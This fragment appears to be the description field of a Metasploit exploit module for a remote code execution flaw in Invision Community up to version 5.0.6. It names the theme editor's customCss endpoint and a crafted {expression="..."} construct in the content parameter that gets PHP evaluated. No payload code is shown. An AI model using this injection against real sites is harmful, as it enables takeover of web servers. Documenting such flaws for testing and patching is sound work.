|
'Description' => %q{
|
|
Invision Community up to and including version 5.0.6 contains a remote code
|
|
execution vulnerability in the theme editor's customCss endpoint. By crafting
|
|
a specially formatted `content` parameter with a `{expression="..."}`
|
|
construct, arbitrary PHP can be evaluated. This module leverages that flaw
|
|
to execute payloads or system commands as the webserver user.
